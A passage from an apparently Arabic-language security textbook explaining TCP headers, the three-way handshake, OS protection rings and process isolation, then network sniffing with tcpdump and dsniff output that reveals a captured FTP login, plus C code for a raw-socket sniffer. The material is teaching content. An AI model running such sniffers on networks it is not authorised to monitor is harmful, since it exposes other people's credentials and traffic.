Encapsulation  الُمتَمَثِّل في وضع الHeader  على ذذه الdata  لتكوين الSegment للى ال  ولمرارذاNetwork 

Layer :بال“Multiplexing” . 

 

 في طرف Demultiplexingكما ترى بالشكل تتم عملية ال 

من Connections بعد وصول ثلاثة  Web Serverذذا ال 

للى  userبكل  الُمتعلِّقة Dataقيتم توجيه ال  ثلاثة مستخدمين

Socket ل )وذو للى  المستطيل الصغير بالشكل(، ومن ثم مُستَق 

 .userلكل  ةالمخصصProcess ال 

 Headerبالطبع عملية التصنيف ذذه تتم بعد قحص ال 

Segment،  حيث يحوي ذذا الfields  التفاصيل التي توضح

وأيضاً كيف سيتم التعامل مع ال  Segmentنوع ذذه ال 

Data. 
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TCP Header 

  .Transportالخاص بطبقة ال  Headerال  مايلي

 
 

 كما نسميها: TCP Flagsأو ال ، Code Bits المسمى fieldبال  ةوذذا شكل آطر يعرض بعض التفاصيل الخاص
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 :Header المهمة في ذذا ال Fieldsسنقوم بتوضيح بعض ال 

التي  Mechanismsبال  أيضاً  اتسميته نايُمك نُ  من وجهة نظري، Fieldsأقضل تعريفات لهذه ال  ت لكاطتر

 .Reliable Connectionلتنفيذ عملية ال  TCPيستخدمُها ال 

 
Checksum: Used to detect bit errors in a transmitted packet. 

 

 

Timer: Used to timeout/retransmit a packet, possibly because  

the packet (or its ACK) was lost within the channel.  

Because timeouts can occur when a packet is delayed but not lost,  

or when a packet has been received by the receiver but the receiver-to-sender ACK has been lost, 

also when a duplicate copies of a packet may be received by a receiver. 

 

 

Sequence number: Used for sequential numbering of packets of data flowing from sender to 

receiver. 

Gaps in the sequence numbers of received packets allow the receiver to detect a 

lost packet. Packets with duplicate sequence numbers allow the receiver to detect 

duplicate copies of a packet. 

 

 

Acknowledgment: Used by the receiver to tell the sender that a packet or set of packets has been 

received correctly.  

Acknowledgments will typically carry the sequence number of the packet or packets being 

acknowledged.  

 

 

Negative acknowledgment: Used by the receiver to tell the sender that a packet has not been 

received correctly. Negative acknowledgments will typically carry the sequence number of the 

packet that was not received correctly. 
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Window: The sender may be restricted to sending only packets with sequence numbers that fall 

within a given range.  

By allowing multiple packets to be transmitted but not yet acknowledged, sender utilization can 

be increased over a stop-and-wait mode of operation.  

 
Definitions from: Ref (2) 

 
 

 عن قُرب: Flagsالخاص بال  Fieldذيا لنتعرف على ال  Mechanismsوالآن وبعد أن تعرقنا على ذذه ال 

 

 وذي: Fieldsبالتدقيق على ذذه ال  Segmentsبعملية تصنيف سِيع لل  Transportتقوم طبقة ال 

. لاحظ أن Segmentالذي تحمله ذذه ال  TCP Flagو أطيراً نوع ال  Ack numberو ال  Sequence numberال 

 .bits 32عبارة عن  Ackو ال  Sequenceكلًا من ال 

 ..؟”ACK“وال  ”Sequence“وما قائدة ذذه ال 

“The sequence number and acknowledgment number are used to maintain state” 

 

 نأطذ مثال لنفهم كيف تسير الأمور:س
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TCP Three-way Handshake 

لابد أن يحدث لجراء يُسمى ه تتم عملية الاتصال بينك وبين ، لكيما Serverاء لتصال ب لنشلنفرض أنك تود 

“Three-Way Handshake”  حيث نستخدم لأجله نوعين من الTCP Flags  بالاشتراك مع ال“Sequence and 

Ack numbers”.  

 .ةالسابق ةفي الصفح دوليُمكنك مراجعة دلالاتهم بالج، ACKو ال  SYNالمستخدمة ذي ال  TCP Flagsال 

 

ال  يحوي Segmentقُمنا ذُنا ب إراسل 

TCP Flag من نوع  بِا قيمة تُشير للى أنها

SYN،  حيثُ يفهمها الServer،  ويرُد

يؤكد لنا  SYN/ACKعلينا بإرسال 

 .ةالُمرسل SYNاستلامه لل 

 

 نهائية نُخط ره ACKثُم نرُد عليه نحنُ ب 

نا لل  أرسلها  التي SYN/ACKباستلام 

 .يبدأ الاتصال الفعلي بيننا وبينهلنا، وبعدذا 

 

 ..”Handshaking“ذيا لنقترب أكثر من عملية ال 

 :التالي الشكلمعي  تأمل
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 .التي تَكَل منا عَنها! ةالتوليفتَم  استخدام 

 (Cilent)عندما قُمنا نَحنُ قهُنا  ،يُعبرِّ عنها Sequence numberيتم لرسالها لابُد أن تحمل  ةواضح أن أي رسالة جديد

بالرد علينا بإرسال ال  Serverقَقامَ ال ، Seq: 30تحمل  SYNمن نوع  segmentبالبدء بالاتصال، أرسلنا له 

SYN/ACK ، لاحظ أنها تعني أنه يُريد أن يُخبرنا باستلامه لهذه الSYN  التي تحملSeq: 30  وبالتالي سيأطذ ذذه ال

Seq  ويقوم بعمل“Increment by 1” .بمعنى ، كذلك؟ سيخُبرنا أنهُ استلمها بأن يؤكد استلامه! أليسACK  لهذه

ل  Segmentقسيُرسل لنا  .!Seqال  م   .(31) وذو الرقم ”ACK = your Sequence number + 1“تَح 
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ل ةجديد Segmentوبالطبع بما أنها  م  رقم عشوائي  سيكون ،!لها IDيُعبرِّ عنها ك  Sequence number قلابُد أن تَح 

 .(67)، وذو الرقم ظهر بالشكلحينها كما ي

ل له   .(68) وذو الرقم ”ACK = His Sequence number + 1“والآن نُريد أن نؤكد لهُ استلامنا للرسالة، قَسَنرُس 

 

 ما يحدث بالمعادلات: ناشكل يوضح لذذا ال

 

 

ص قيما Sequence Numberيُمك نُنا القول بأن قائدة ال   يلي: تتلَخ 

“Sequence numbers allow TCP to put unordered packets back into order, to determine whether 

packets are missing, and to prevent mixing up packets from other connections”. 
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 للى ذُنا نكون قد انتهينا من الطبقات الثلاث:

 Data-Link Layer 

 Network Layer 

 Transport Layer 

 

في الواقع العملي داطل  Trafficفي آطر الكتاب لم عرقة المزيد عن أساليب انتقال ال  Appendix-Bيُمك نكَُ مُراجعة 

 .ةالُمستخدَمَ  Architecturesوأنواع ال ، Data Centers شبكات ال

قَة ب أمن الم علومات، ولجراء تحليل ل عمليات سنقوم في الفصل القادم بتسليط الضوء على بعض المواضيع الُمتعلِّ

 منها. ةللحماي ةالإطتراق، وبعض الآليات المتبع

  



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Networking 
 [172] 
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Part III 
Security & Attacks 
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Introduction 
 

 قيروس الإنفلونزا!،،

جُنا باستمرار!، لديه قدر م مُتازة على تطوير نفسه ليقو ةذذا الفيروس العجيب، الذي لا يتركنا لحالنا، يأتي ليُزع 

حيث لا تتعرف عليه الأجسام  ”Anti-Gen Drift“بإصابتنا مراراً وتكراراً!، قهو يتغير مستخدماً طريقة تُسمى 

 .ء الإصابة السابقة لنا بهالمضادة التي تكونت في أجسامنا جرا

ضده.  ةالمضادبالتغيير الجديد الذي طرأ عليه كي يتسنى للجسم تحديث أجسامه   Virusوبالتالي قعلينا تجربة ذذا ال 

 لعين!. Virusياله من 

 ا يُجبر شركات الأدوية على لجراءمُ ،استمرار لتطوير نفسه ورقع كفائته، يحب العمل ب، أو قترة راحةةلا يأطذ ذدن

 .ات التطور لدى ذذا الخصم الُمزعجللإنفلونزا، كي تواكب عملي ةالتحديثات المستمرة على منتجاتها المضاد

 

 .Viruses and Worms مبيوتر أيضاً أعداء مثل اللدينا في عالم الك

ة لظهور أساليب ولهذا ظهرت الحاجة الُملحّ  .الأضَار وضياع للملفات والبياناتلنهم يسببون لنا الكثير من المتاعب و

 بمحاولاتٍ عدة لإحداثبدراسة ذذه الآليات الأمنية وقاموا  Hackers، ققام ماية باطتلاف مستوياتها وأنواعهاالح

 ، ونجحوا!.. الخروق بِا

وذكذا جَرَت ذذه ال  ، ذؤلاء الُمتحايلين على أنظ متهم ققام مُطورو الأنظمة الأمنية بتطوير منتجاتهم و آلياتهم لمجابِة

Cycle .!للى مالا نهاية 

 



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [176] 

ثها ال  بالرغم من وغيرذم.. سببت لنا بعض المناقع  Malware Authors و ال Crackersولكن ذذه المشاكل التي يُحد 

 .ا على التصدي لهم وليجاد الحلول!لنهم يجبرونن ضَار التي عانينا منها بسببهم!.الأ

They Force a Response… Which fixes the problem!. 

 

ب ه   ”Man Search for Meaning“يُذك رُني ذذا بالك تاب   .Viktor Frankiل صاح 

ل ق كرة  1946في عام  بالرغم من ق دَم ذذا الكتاب حيث قام بتأليفه    :وذي قويه،للا أنهُ يحم 

 .".. لما أصبح للحياة معنى!ةلولا وجود المعانا"

 

في ذذا العام لتبدأ رحلة معاناته  "أورلاندو"!، ققد انتقل للى "نيلسون مانديلا"؟؟.. ذذا التاريخ يُذك رُني بقصة  1946

م في النهاية قوزه في الانتخابات ليتحقق حُلمهُ وحُلم شَعبه  من أجل الحرُية، مروراً بسجنه لسبعٍ و عشرين عاماً، ث

ياته ولحياة مَن  بالحُرية، ..قانتشار الظُلم والقهر جَعَلَ من مانديلا مناضلًا ومُكاقحاً، قَشَكّلَت ذذه الُمعاناة المعنى لح 

يةأنت تمتلك من الكرامة بقدر ما تمتلك من الحُ "ناضَلَ مَعَهُ!، وصَدَقَ الذي قال   ."رِّ

 

 وغيرذم من الأشرار.. Malware Authors و ال Crackersونَحنُ أيضاً نقول.. لولا وجود ذؤلاء ال 

ها.." Security" لما ظهرت لنا الحاجة للى ال ا و أنواع    بُكل أشكاله 
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Computer Security 
 

بمعنى أننا  ،O.S على ال شغيلهاتمن ثم ولها  Compileكتابتها ثم عمل  يتمالأول عن البرامج التي  بابتكلمنا في ال

أو  Memoryكأن يتعامل مع ال  O.S المختلفة لهذا ال Resourcesكُنا نُعطي صلاحيات لهذا البرنامج بالتعامل مع ال 

 ةلخاصا Hardwareوغيرذا من المهام، أيضاً كان يتعامل مع ال  Socketsأو لنشاء  file descriptorsيقوم بفتح 

 .لذا تطلب الأمربالكمبيوتر 

 .دورذام كيف كانت تقوم بتنفيذ نفسها!، كي نفه Applicationsذذه المرحلة نقوم بتسليط الضوء على ال  أثناءكنا 

مع ذذه ال  تعاملالفي  نفسه!، لنرى قلسفته Operating Systemبتسليط الضوء على ال  بدأسن الآنلكننا 

Applications  و الUsers.  

  .أساسيات الأمن والحمايةفهم به نل جيداً  مثالاً  هذا يُعدق

  ”Protection Mechanisms“نُطلق على الأساليب التي يستخدمها الكمبيوتر في تأمين نفسه أثناء تشغيله بال 

 

 تنقسم للى ثلاثة أنواع رئيسية ذي: Mechanismsذذه ال 

 Rings 

 Operational States 

 Security Modes 

 

 :ةالأولى والثاني Mechanismsسنتكلم عن ال 

 
 
 



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [178] 

Rings 
 
 

 organizeبعمل  Architectureيقوم ذذا ال 

أو  utilitiesأو ال  Applicationsلجميع ال 

نظام التشغيل أي شيء يعمل تحت سيطرة 

 .”Under the control of this O.S“ذذا، 

بترتيبهم داطل  Architectureيقوم ذذا ال 

Rings  ُن ن تفصل بينها حواجز كي تُمكِّ نا م 

راذم في ن، كما Ringsالعُبور بين ذذه ال 

 .الشكل

ل ال للى اتجهنا أكثرقكُلما  ، Ringال  فيداط 

 .ما حصلنا على صلاحيات أعلى وأكبركُل

 

ذي الأعلى في  ”Ring 0“يظهر أن ال 

 Processes، حيث يُمك ن لل الصلاحيات

أن تقوم  Ringالتي تمتلك صلاحيات ذذه ال 

.. كالتعامل Resourcesلأي  Accessبعمل 

 . ةبكل حُري Memoryأو التعامل مع ال  ،CPU مع ال
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 Computer لالى البالنسبة  ”Most Trusted“وبِذا يُعد ال  ”O.S Kernel“ لا Ringيتواجد في ذذه ال 

Hardware، لأنه يتمكن من التعامُل بشكل مُباشر مع ال physical hardware ل كاMemory. 

 

عمل  المختلفة أو Tasksكتنفيذ ال  O.S العادية التي يقوم بِا ال Operationsذُنا تقع بقية ال  :Ring 1نأتي للى ال 

Switching between Processes. 

 

 سأعطيك مثال عليها:

لأتصفح الانترنت.  Browserوأكتُب قيه بعض الأسطر، ثم أترُكهُ لأقوم بفتح ال  wordعندما أقوم بفتح ملف 

 ”Context Switch“بعمل  O.Sيقوم حينها ال  .Wordن التصفح سأعود مرةً أطرى للى ملف ال وعندما أنتهي م

عند آطر وضع كانت عليه قبل عملية الانتقال للى ال  Wordالخاصة بال  processحيث كان قد قامَ بحفظ ال 

Browser. ليقوم بالعودة لليها مرةً أطرى. 

 

 :Ring 2ننتقل للى ال 

الأطرى،  system utilitiesو ال  Input/Out Put Driversحيث يتواجد بِا ال  Privilegedدٍ ما تُعد أيضاً للى ح

 ةلليها دون الاستعان Accessعمل  Appsوالتي لا يمكن للبرامج أو ال  Special Filesحيث ذي أشبه بال 

 .Ringبصلاحيات ذذه ال 
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هاوالبر Applicationsتقع ال  وذُنا..  Ring 3وأطيراً ال  ، امج بأنواع 

حيث لا يُمك نهُ لحداث أي طرق في  Userذذه ذي البيئة الخاصة بال 

 النظام لعدم وجود الصلاحيات العُليا لديه!.

 ”Ring 0“يقع في ال الذي  Kernelال  يوضح ذذا الشكل

ولا يتم السماح  كما يظهر. Hardwareحيث يتعامل بشكل مباشر مع ال 

، بدلاً من Hardwareشكل مباشر مع ال ب بالتعامل Applicationsلل 

 ة.ح أم لا وققاً لاعتبارات عدما لذا سيتم السما وذو يقرر Kernelيتم لرسال طلب للى ال  ذلك

 

 

Operational States 

 

  ”Process States“نعني بِا أيضاً ال 

حيث تكون  (User Mode)لما أن تكون في نظام ال قهي  Process Modesمن حيث ال  Processل ذُناك تصنيف ل

 حيثُ تمتلك (Privileged Mode)ولما أن تكون في نظام ال  ،”Low Privileges“. ةالصلاحيات مُنخفض

ف على ال نذيا  ل   .Systemصَلاحيات ال   مُنذُ أن تبدأ وحتى أن تنتهي من عملها. Processالتتي تَمرُ بِا أي  Statesتعر 

 Processبه وذي التي نراذا في ال ةطاص Processصغير، سيقوم بفتح  Applicationقمثلًا عندما نقوم بفتح 

manager ، ذذه الprocess  وغيرذا يستطيع الO.S نهم، ولنهاء مايُريد التعامل معهم في نفس الوقت، والتبديل بي

 منهم وذكذا.
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 :Processسنُشاذد معاً الحالات التي تَمرُُّ بِا ذذه ال 

 

 
 

Ready:  The process is ready to resume or begin processing as soon as it is scheduled for 

execution. If the CPU is available when the process reaches this state, it will transition directly 

into the running state. 

 

Waiting: “waiting for a resource”, the process is ready for continued execution but is waiting for 

a device or access request. 

Running: the process here executes on the CPU and keeps going until it finishes, or it blocks for 

some reason. 

 

Stopped When a process finishes or must be terminated (because an error occurs, a required 

resource is not available, or a resource request can’t be met), it goes into a stopped state. 

 

 



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [182] 

 ةماية نفسه من البيئة المحيطة به، والواقعلح Mechanismsباستخدام ذذه ال  Operating System، يقوم ال ناكما رأي

والبرامج بأنواعها بأسلوب  Applicationsما يتعامل نظام التشغيل مع ال  دائ ماً  ةفي الحقيقو (.Ring 3)تحديداً في ال 

 :ةوحيد، يتلخص في ذذه العبار

“Software is Not Trusted!” 

 

 

 

Technical Mechanisms 

 

 ، Operating Systemي تؤطذ في الاعتبار عند تصميم الالت Technical Mechanisms سنتكلم عن بعض ال

 :مايليالآليات بعض ذذه ومن  يف يتعامل نظام التشغيل مع البيئة المحيطة به.ك ناث ستوضح لحي

Layering, Abstraction, Data Hiding, and Process Isolation 

 سنتناولهم بالترتيب:

 

 

Layering 

ال قهو ينص على وضع المهام و، x86 Architectureالمعمول به في ال  Ringsمشابه لمبدأ ال  Conceptذذا ال 

Functions والُمهمة في ال  ةالحساس(Low Layers)  ثم الأقل أهمية في ال(Upper Layers) ،..يُمكن  وذكذا

 Layerقكُل  نتمكن من قرض شروط التواصل ذذا!.ل كي  ةمُحدد "interfaces"عبر  Layersالتواصل بين ذذه ال 

 أطرى. Layersمحمية من التلاعُب من أي 

Each layer is protected from tampering by any other layer, Also outer layers cannot violate or 

override any security policy enforced by an inner layer.  
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Abstraction 

  بعض الشيء.. ”Black Boxing“يشبه مفهوم ال  Abstractionذذا ال 

 

 ؟ Black Boxوماذذا ال 

 ويقوم بإطراج inputsالذي يستقبل منك  Objectأو ال  Systemأو ال  Deviceنُطلق ذذا المصطلح على ال 

Outputs ، يما بينهمالتي حدثت ق العملياتولا يُطل عُك على.! 

طَهُ على ال لا يُطل عُك على التفاصيل التي تحدث عندما ، نظام تشغيل مثل الويندوز قنلُاحظ أن O.S قلو جئنا لنسُق 

يقوم بعمل  Back Ground، ويكتفي بإظهار صورة صغيرة لك بينما ذو في ال مثلاً  Wordتقوم بفتح برنامج ال 

 الإعدادات اللازمة لفتح البرنامج لك. 

 :Black Boxingالشكل يُوضح مفهوم ال 

 
 ،Userلكل  ةبدلاً من الانشغال بإعطاء الصلاحيات المناسبعلى سبيل المثال،  Access Controlsعمليات ال في 

ثم  ، Groupsبإنشاء  نا نقوم، بمعنى أنلكذعن  عوضاً  Objectsالتركيز على ال  كوني ..”Subject“نا ويُسمى ذُ 

 . groupsعبر توزيعهم على ذذه ال  usersيتم تصنيف ال قمنهم،  groupعطي الصلاحيات لكل ن
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ا الأمر يظهر قائدته عند ذذ. groupالمناسب له، سيمتلك صلاحيات ذذا ال  groupللى ال  userوبمجرد أن ينتمي ال 

 .ةالتعامل مع مستخدمين كُثُر وبصلاحيات متفاوت

 

 

Data Hiding 

 Security Level قليلًا، قهي توقر نوع من الحماية للبيانات عن طريق منحها Layeringذذ الخاصية تُشبه مفهوم ال 

ف ذذه البيانات نأُطرى مُُتلفة ل Security Level تنتمي للى Process، وبالتالي أي ةمُعين ن كَش   .تتمَكّن م 

It ensures that data existing at one level of security is not visible to processes running at different 

security levels. 

 

 

Process Isolation 

. تي تقع تحت سيطرتهال resourcesلحماية نفسه وجميع ال  O.S ذذه الخاصية من أذم الخصائص التي يستخدمها ال

أو ال  Applicationsللى مساحات معزولة عن بعضها، ويتم السماح للبرامج أو ال  memoryقيتم ذُنا تقسيم ال 

utilites التي تعمل على ذذا ال O.S .باستخدام ذذه الم ساحات بناءً على احتياجاتها 

 processعلى أُطرى، وذلك ب مَنع أي  process بحيث لا تطغى أي  processesويقوم نظام التشغيل بحماية ذذه ال 

ل ال  accessمن مُحاولة عمل  ساحَة داط  صَ  memoryلأي م   لَها!. ةليست مُُص 

 

Requires that the operating system provide separate memory spaces for each process’s 

instructions and data. It also requires that the operating system enforce those boundaries, 

preventing one process from reading or writing data that belongs to another process. 
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 .”Computer Security“للى ذنا نكون انتهينا من الحديث عن بعض الأساسيات المتعلقة بال 

 ..جديدسننتقل للى موضوع 

تأكد من استيعابك  ذا..وغير Buffer Overflowض أنواع الهجََمَات الشَهيَرة كال نقوم بتحليل ودراسة بعحيثُ 

مَن لَكَ الفَهم  لأساسيات البرمجة التي شرحناذا في الباب الأول، وأمثلة الشبكات التي تناولناذا في الباب الثاني كي نَض 

 الجَيد للفَقرات القاد مة بإذن الله.. 
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Network Sniffing 
 

لال شبكةٍ ما وعمل  Trafficلل  Interceptلى ذذا البرنامج الصغيرالذي يقوم بعمل نُطلق ع لهذا ال  Logالمار ط 

Traffic  بال“Network Sniffer”. 

 

ع  tcpdumpيقوم برنامج مثل ال    modeذذا ال  ،”Promiscuous Mode“بوضع كارت الشبكة لديك على وَض 

ن القيام  ب نهُُ م   .”packet-capturing“ال عملية يُمَكِّ

 

ر التقاط  tcpdumpذذه نتائج ال   .FTPساب الخاص بال الحوالتي تُظه 

 

reader@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118' 

tcpdump: listening on eth0 

21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win 

17316 <nop,nop,timestamp 466808 920202> (DF) 

0x0000 4500 005d e065 4000 8006 97ad c0a8 0076    E..].e@........v 

0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8    ........)..s^... 

0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78    ..C../.........x 

0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420    ....220.TYPSoft. 

0x0040 4654 5020 5365 7276 6572 2030 2e39 392e    FTP.Server.0.99. 

0x0050 3133 13 

21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840 

<nop,nop,timestamp 920662 466808> (DF) [tos 0x10] 

0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1    E..4.o@.@.!..... 

0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c    ...v....^...)... 

0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56    ...............V 

0x0030 0007 1f78 ...x 

21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 

win 

5840 <nop,nop,timestamp 921434 466808> (DF) [tos 0x10] 

0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1    E..@.p@.@.!..... 

0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c    ...v....^...)... 

0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a    ...............Z 
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0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a    ...xUSER.leech.. 

21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13 

win 17304 <nop,nop,timestamp 466885 921434> (DF) 

0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076    E..V..@....m...v 

0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4    ........)...^... 

0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5    ..C.N,.......... 

0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264    ...Z331.Password 

0x0040 2072 6571 7569 7265 6420 666f 7220 6c65    .required.for.le 

0x0050 6563 ec 

21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840 

<nop,nop,timestamp 921435 466885> (DF) [tos 0x10] 

0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1    E..4.q@.@.!..... 

0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe    ...v....^...)... 

0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b    ....~[.........[ 

0x0030 0007 1fc5 .... 

21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76 

win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10] 

0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1    E..B.r@.@.!..... 

0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe    ...v....^...)... 

0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1    ................ 

0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465    ....PASS.l8@nite 

0x0040 0d0a .. 

21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27 

win 17290 <nop,nop,timestamp 466923 921809> (DF) 

0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076    E..O..@....T...v 

0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02    ........)...^... 

226 0x400 

0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb    ..C.L........... 

0x0030 000e 10d1 3233 3020 5573 6572 206c 6565    ....230.User.lee 

0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in... 

 

كما تعلم أن البيانات التي يتم ق، FTP Serverأثناء اتصاله بال   FTP الخاص بال الُمستخدملقد تم التقاط حساب 

 !.Unencrypted تكون Telnetأو ال  FTPال ا عبر الشبكة باستخدام بروتوكول لرساله

 وذذا توضيح لنقطة الضعف ذذه:

Using FTP both the command and data channels are unencrypted. Any data sent over these 

channels can be intercepted and read. One common exploit that takes advantage of this particular 

vulnerability is the man-in-the-middle attack using ARP poisoning and a packet sniffer.  
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 FTPSلأن ال  Sessionال تظهر لن  FTPبدلاً من ال  FTPSذُنا بروتوكول ال  ”Leech“بالطبع لذا استخدم السيد 

م ال  ن استخدام ال  .Loginفي تشفير عملية ال  SSLيَستَخد  ل تَحقيق  SSHيُفضل استخدام ال  Telnetوبالم ث ل بَدَلاً م 

ن.  الإتصال الآم 

سابا tcpdumpتُوجد أدوات أكثر تفصيلًا من ال  ثل ال تقوم بالتقاط ح  مين بشكل مُباشر م   .dsniffت الُمستَخد 

 
Dsniff: 
reader@hacking:~/booksrc $ sudo dsniff -n 

dsniff: listening on eth0 

----------------- 

12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp) 

USER leech 

PASS l8@nite 

 

 

Building Our Sniffer! 
 

 .ةالمختلف Network Sniffing والآن سنتعرف عن قرب كيف تعمل برامج ال

 تعال نُلق  نظرة على ما يقولهُ ذذا الرجُل:

Packet sniffers can be coded by either using sockets api provided by the kernel, or by using some 

packet capture library like libpcap. 

 

Basic Sniffer using sockets 

To code a very simply sniffer in C the steps would be: 

 

1. Create a raw socket. 

2. Put it in a recvfrom loop and receive data on it. 

 

A raw socket when put in recvfrom loop receives all incoming packets. This is because it is not 

bound to a particular address or port. 
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sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_TCP); 
while(1) 
{ 
data_size = recvfrom(sock_raw , buffer , 65536 , 0 , &saddr , &saddr_size); 
} 

 
That’s all. The buffer will hold the data sniffed or picked up. The sniffing part is actually 

complete over here. The next task is to actually read the captured packet, analyze it and present it 

to the user in a readable format. 
… 

 

ف من طلاله ما يحدث داطل ال ليَ  Row Socketيُريد ذذا الرجُل أن يُخبرنا أنه سيستخدم ال  وكما  ،OSI Layersكش 

ثم  ،Row Socketليكون  Socketواطتار نوع ال ، IPv4 ب Protocol Familyفي الكود ققد حدد نوع ال  يظهر

التي تراذا  Argumentsوالتي تستقبل ال   ( )recvfromثم استخدم ال .TCPحدد أنه يُريد مراقبة بروتوكول ال 

َ كا trafficلل  Captureبالأعلى، استخدمها كي يقوم بعمل  ل ، bufferرت الشبكة وتَخزينه في ال المار عَبر  ولكي يَكتم 

م  Snifferذذا ال  ض ذذه ال  functionالرائع، لابُد  أن نَستخد  ز وعَر  عَمَل قَر 
 .dataل 

 قماذا سنستخدم؟..  ،!أليس كذلك

م   كي تتذكر آلية عملها. مُراجعتهايُمك نكُ  !.التي شَرحناذا في الفصل السابق  ( )dumpالسَنستَخد 

 

 عليه: ( )Dumpبعد لدطال ال  Snifferذيا لنشُاذد ذذا ال 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <sys/socket.h> 

#include <netinet/in.h> 

#include <arpa/inet.h> 

#include "error.h" 
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int main(void) { 

  int i, recv_length, sockfd; 

  u_char buffer[9000]; 

  if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) 

     fatal("in socket"); 

  for(i=0; i < 3; i++) { 

     recv_length = recv(sockfd, buffer, 8000, 0); 

     printf("Got a %d byte packet\n", recv_length); 

     dump(buffer, recv_length); 

  } 

} 

 

كما يبدو داطل دالة ال  (Packets 3)لعدد  captureويقوم ب عمل  ،TCPمن نوع  row socketذذا الكود يقوم بفتح 

For( ). 

نا الُمتغَير  .( )dumpباستخدام ال  packetالخاصة بكل  row dataثم يقوم بطباعة ال  ق   bufferلاحظ أننا في البداية عَر 

نا نوعه   .”unsigned char“وَحَدد 

 

 بالذات؟ ”unsigned char“ولم اذا اطترنا 

 ..binary dataمع ال قهي تتعامل بشكل جيد  ،network programmingلأنها أقضل صيغة تُستخدم في ال 

 

ر برنامج   .في الباب الثاني؟ تحدثنا عنهالذي  ”the Server“ذل تتذَك 

ب كيف سيقو serverلهذا ال  textsسنقوم بإرسال بعض ال  ذا ال  capture بعملsniffer م ال ونُجرِّ الذي  textله 

 يجري لرساله.
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 :Serverمع ال  Sessionأثناء قتح  Snifferذذه نتائج تشغيل ال 

reader@hacking:~/booksrc $ sudo ./raw_tcpsniff 

Got a 68 byte packet 

45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*. 

c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l. 

80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&... 

02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.this is a te 

73 74 0d 0a                                     | st.. 

Got a 70 byte packet 

45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*. 

c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l. 

80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'.......&..u 

02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .<.(AAAAAAAAAAAA 

41 41 41 41 0d 0a                               | AAAA.. 

Got a 71 byte packet 

45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | E..G.8@.@.F...*. 

c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | ..*...........l. 

80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | ....hE......&... 

02 3c 20 ad 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | .< .fjsdalkfjask 

66 6a 61 73 64 0d 0a                            | fjasd.. 

reader@hacking:~/booksrc $ 

 

بة ال  .ASCIIبال ( A)تَعني ( 0x41)أَن   تذكر ب ، row socketباستخدام ال  sniffingلقد قُمنا ب تجَر  والآن سَنجُرِّ

مُها ال  ،libpcap libraryاستخدام ال   .dsniffو ال  tcpdumpوالتي يستخد 

 

 

libpcap Sniffer 

 

 :Libمايلي تعريف ذذه ال 

The Packet Capture library provides a high level interface to packet capture systems. All packets 

on the network, even those destined for other hosts, are accessible through this mechanism. It 

also supports saving captured packets to a “savefile”, and reading packets from a “savefile”.   
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رون ينتمون للى جامعة كاليفورنيا  .شُكراً لهم   ..بريكلي ،قام بكتابتها ثلاثة مُطوِّ

 Libالخاصة بِذه ال  functionsسنقوم باستخدام ال 

#include <pcap.h> 

#include "error.h" 

 

